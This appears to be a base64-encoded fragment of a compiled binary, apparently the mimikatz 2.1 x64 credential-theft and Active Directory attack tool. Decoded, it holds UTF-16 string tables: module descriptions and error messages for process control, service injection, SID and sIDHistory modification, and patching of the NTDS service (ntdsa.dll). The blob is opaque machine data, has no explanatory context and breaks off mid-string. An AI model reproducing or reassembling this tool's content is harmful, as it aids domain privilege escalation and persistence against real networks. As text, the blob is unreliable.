GEAcgB0AAAAAAAAAFMAdABhAHIAdAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAUAByAG8AYwBlAHMAcwAgAG0AbwBkAHUAbABlAAAAAABUAHIAeQBpAG4AZwAgAHQAbwAgAHMAdABhAHIAdAAgACIAJQBzACIAIAA6ACAAAABPAEsAIAAhACAAKABQAEkARAAgACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABOAHQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAAAAAAAE4AdABSAGUAcwB1AG0AZQBQAHIAbwBjAGUAcwBzAAAAJQBzACAAbwBmACAAJQB1ACAAUABJAEQAIAA6ACAATwBLACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIAAlAHMAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAAAAAACUAdQAJACUAdwBaAAAAAAAgACgAAAAAACkAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAAAAAAIwAlAHUAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAAAAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBzAHUAbQBlACAAcwBlAHIAdgBpAGMAZQAAAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAHMAaAB1AHQAZABvAHcAbgAAAAAAAAAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAAAAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAAAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAAAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAAAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZQByAHIAbwByACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAGwAbwBvAGsAdQBwAAAAAABOAGEAbQBlACAAbwByACAAUwBJAEQAIABsAG8AbwBrAHUAcAAAAAAAcQB1AGUAcgB5AAAAAAAAAFEAdQBlAHIAeQAgAG8AYgBqAGUAYwB0ACAAYgB5ACAAUwBJAEQAIABvAHIAIABuAGEAbQBlAAAAbQBvAGQAaQBmAHkAAAAAAE0AbwBkAGkAZgB5ACAAbwBiAGoAZQBjAHQAIABTAEkARAAgAG8AZgAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAABhAGQAZAAAAEEAZABkACAAYQAgAFMASQBEACAAdABvACAAcwBJAEQASABpAHMAdABvAHIAeQAgAG8AZgAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAAAAAAAAQwBsAGUAYQByACAAcwBJAEQASABpAHMAdABvAHIAeQAgAG8AZgAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAAAAAFAAYQB0AGMAaAAgAE4AVABEAFMAIABTAGUAcgB2AGkAYwBlAAAAAABTAGUAYwB1AHIAaQB0AHkAIABJAGQAZQBuAHQAaQBmAGkAZQByAHMAIABtAG8AZAB1AGwAZQAAAFMASQBEACAAIAAgADoAIAAlAHMACgAAAAAAAAAAAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBOAGEAbQBlACAAIAA6ACAAJQBzAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAFQAeQBwAGUAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgA6ACAAJQBzAAoAUwBJAEQAIAAgACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABTAGkAZABEAG8AbQBhAGkAbgBGAHIAbwBtAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAALwBzAGkAZAAgAG8AcgAgAC8AbgBhAG0AZQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAG8AYgBqAGUAYwB0AFMAaQBkAAAAAAAAAG4AZQB3AAAAAAAAAAAAAAAKACAAIAAqACAAVwBpAGwAbAAgAHQAcgB5ACAAdABvACAAbQBvAGQAaQBmAHkAIAAnACUAcwAnACAAdABvACAAJwAAAAAAAAAnADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBtAG8AZABpAGYAeQAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbQBvAGQAaQBmAHkAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBtAG8AZABpAGYAeQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAG0AbwBkAGkAZgB5ACAAOwAgAC8AbgBlAHcAOgBzAGkAZAAgAGkAcwAgAG4AZQBlAGQAZQBkAAAAAAAAAAAAcwBJAEQASABpAHMAdABvAHIAeQAAAAAAAAAAAAAAAAAKACAAIAAqACAAVwBpAGwAbAAgAHQAcgB5ACAAdABvACAAYQBkAGQAIAAnACUAcwAnACAAdABoAGkAcwAgAG4AZQB3ACAAUwBJAEQAOgAnAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYQBkAGQAIAA7ACAAbABkAGEAcABfAG0AbwBkAGkAZgB5AF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYQBkAGQAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgAC8AIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFMAaQBkAEQAbwBtAGEAaQBuAEYAcgBvAG0ATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBhAGQAZAAgADsAIAAvAG4AZQB3ADoAcwBpAGQAIABvAHIAIAAvAG4AZQB3ADoAcgBlAHMAbwBsAHYAYQBiAGwAZQBfAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAAAAAAAAAKACAAIAAqACAAVwBpAGwAbAAgAHQAcgB5ACAAdABvACAAYwBsAGUAYQByACAAJwAlAHMAJwA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AYwBsAGUAYQByACAAOwAgAE4AbwAgAHMASQBEAEgAaQBzAHQAbwByAHkAIABhAHQAdAByAGkAYgB1AHQAZQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGMAbABlAGEAcgAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAABzAGEAbQBzAHMAAAAAAAAAbgB0AGQAcwBhAC4AZABsAGwAAAAAAAAAbgB0AGQAcwBhAGkALgBkAGwAbAAAAAAAUABhAHQAYwBoACAAMQAvADIAOgAgAAAAUABhAHQAYwBoACAAMgAvADIAOgAgAAAACgAlAHMACgAAAAAAAAAAACAAIAAlAHMAOgAgAAAAAABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAAAAAACUAKgBTAAoAAAAAAAAAAABvAGIAagBlAGMAdABHAFUASQBEAAAAAAAKACAAIAAgAFsAJQB1AF0AIAAAAAAAAAAgACgAIAAlAHMAIAAtAC0AIAAlAHMAXAAlAHMAIAApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAHEAdQBpAGMAawBTAGUAYQByAGMAaAAgADsAIABOAG8AIAByAGUAcwB1AGwAdAAhACAALQAgAGYAaQBsAHQAZQByACAAdwBhAHMAIAAnACUAcwAnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAE4AbwB0ACAAdQBuAGkAcQB1AGUAIAAtACAAUABsAGUAYQBzAGUAOgAgAGQAbwBuACcAdAAgAGIAcgBpAGMAawAgAHkAbwB1AHIAIABBAEQAIQAgAC0AIABmAGkAbAB0AGUAcgAgAHcAYQBzACAAJwAlAHMAJwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAKABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAPQAlAHMAKQAAACgAbwBiAGoAZQBjAHQAUwBpAGQAPQAAAFwAJQAwADIAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAEkAbgB2AGEAbABpAGQAIABTAEkARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAC8AcwBhAG0AIABvAHIAIAAvAHMAaQBkACAAdABvACAAdABhAHIAZwBlAHQAIAB0AGgAZQAgAGEAYwBjAG8AdQBuAHQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AEwAZABhAHAAQQBuAGQAUgBvAG8AdABEAE4AIAA7ACAAbABkAGEAcABfAGIAaQBuAGQAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AaQBuAGkAdAAKAAAAAAByAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAAAAoAGQAbgA9AFIAbwBvAHQARABTAEUAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGcAZQB0AF8AdgBhAGwAdQBlAHMAXwBsAGUAbgAgAGkAcwAgAE4ATwBUACAAMQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBjAG8AdQBuAHQAXwBlAG4AdAByAGkAZQBzACAAaQBzACAATgBPAFQAIAAxAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAZQB4AGkAdAAAAAAAAAAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAYwBsAHMAAAAAAAAAAAAAAEMAbABlAGEAcgAgAHMAYwByAGUAZQBuACAAKABkAG8AZQBzAG4AJwB0ACAAdwBvAHIAawAgAHcAaQB0AGgAIAByAGUAZABpAHIAZQBjAHQAaQBvAG4AcwAsACAAbABpAGsAZQAgAFAAcwBFAHgAZQBjACkAAAAAAGEAbgBzAHcAZQByAAAAAAAAAAAAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAAAAAAGMAbwBmAGYAZQBlAAAAAABQAGwAZQBhAHMAZQAsACAAbQBhAGsAZQAgAG0AZQAgAGEAIABjAG8AZgBmAGUAZQAhAAAAAAAAAHMAbABlAGUAcAAAAAAAAAAAAAAAAAAAAFMAbABlAGUAcAAgAGEAbgAgAGEAbQBvAHUAbgB0ACAAbwBmACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAAABMAG8AZwAgAG0AaQBtAGkAawBhAHQAegAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAdABvACAAZgBpAGwAZQAAAAAAAABiAGEAcwBlADYANAAAAAAAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAAAAAAB2AGUAcgBzAGkAbwBuAAAAAAAAAAAAAABEAGkAcwBwAGwAYQB5ACAAcwBvAG0AZQAgAHYAZQByAHMAaQBvAG4AIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAAAGMAZAAAAAAAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGwAbwBjAGEAbAB0AGkAbQBlAAAAAAAAAEQAaQBzAHAAbABhAHkAcwAgAHMAeQBzAHQAZQBtACAAbABvAGMAYQBsACAAZABhAHQAZQAgAGEAbgBkACAAdABpAG0AZQAgACgATwBKACAAYwBvAG0AbQBhAG4AZAApAAAAAAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAAAAAAAAUwB0AGEAbgBkAGEAcgBkACAAbQBvAGQAdQBsAGUAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAAAAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAAAAAABmAGEAbABzAGUAAAAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADEAIAAoAGEAcgBjAGgAIAB4ADYANAApAAoAVwBpAG4AZABvAHcAcwAgAE4AVAAgACUAdQAuACUAdQAgAGIAdQBpAGwAZAAgACUAdQAgACgAYQByAGMAaAAgAHgAJQBzACkACgBtAHMAdgBjACAAJQB1ACAAJQB1AAoAAAAAAAAAQwB1AHIAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgBlAHcAOgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABMAG8AYwBhAGwAOgAgAAAAWgBvAG4AZQAgADoAIAAlAC4AMwAyAHMACgAAAAAAAABVAFQAQwAgACAAOgAgAAAATABpAHMAdAAgAC4ALgAuAAAAAAAAAAAAZwBlAHQAAABHAGUAdAAgAC4ALgAuAAAAcwBlAHQAAABTAGUAdAAgAC4ALgAuAAAAZABlAGwAAABEAGUAbAAgAC4ALgAuAAAAAAAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABOAHQAUQB1AGUAcgB5AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAHsAYgAxADYAYgAwADAAYgA1AC0AYwBhAGYAZQAtAGIAYQBiAGUALQAwAGUAZQAwAC0AZABhAGIAYQBkAGEAYgBhAGQAMAAwADAAfQAAAAAANAAxADAAMAAyADAAMAAwADQAYwAwADAANgAxADAAMAAyADAAMAAwADUANgAwADAANgA5ADAAMAA2ADUAMAAwADIAYwAwADAAMgAwADAAMAA0ADEAMAAwADIAMAAwADAANABjADAAMAAyADcAMAAwADQAMQAwADAANgBkADAAMAA2AGYAMAAwADcANQAwADAANwAyADAAMAAwADAAMAAwAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAATgB0AFMAZQB0AFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUARQB4ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAbgBvAHQAIABmAG8AdQB